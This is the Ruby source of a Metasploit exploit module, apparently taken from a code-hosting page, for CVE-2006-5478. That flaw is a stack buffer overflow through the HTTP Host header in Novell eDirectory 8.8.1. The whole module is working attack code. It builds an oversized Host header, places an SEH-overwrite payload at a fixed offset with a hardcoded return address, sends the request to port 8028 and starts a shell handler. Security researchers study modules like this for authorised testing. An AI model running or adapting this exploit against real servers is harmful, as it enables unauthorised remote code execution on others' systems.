72 lines
1.9 KiB
Ruby
72 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Novell eDirectory NDS Server Host Header Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Novell eDirectory 8.8.1.
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The web interface does not validate the length of the
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HTTP Host header prior to using the value of that header in an
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HTTP redirect.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2006-5478'],
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['OSVDB', '29993'],
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['BID', '20655'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Novell eDirectory 8.8.1', { 'Ret' => 0x10085bee } ], # ntls.dll
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],
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'Privileged' => true,
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'DisclosureDate' => 'Oct 21 2006',
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'DefaultTarget' => 0))
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register_options([Opt::RPORT(8028)], self.class)
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end
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def exploit
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connect
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sploit = "GET /nds HTTP/1.1" + "\r\n"
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sploit << "Host: " + rand_text_alphanumeric(9, payload_badchars)
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sploit << "," + rand_text_alphanumeric(719, payload_badchars)
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seh = generate_seh_payload(target.ret)
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sploit[705, seh.length] = seh
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sploit << "\r\n\r\n"
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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handler
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disconnect
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end
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end
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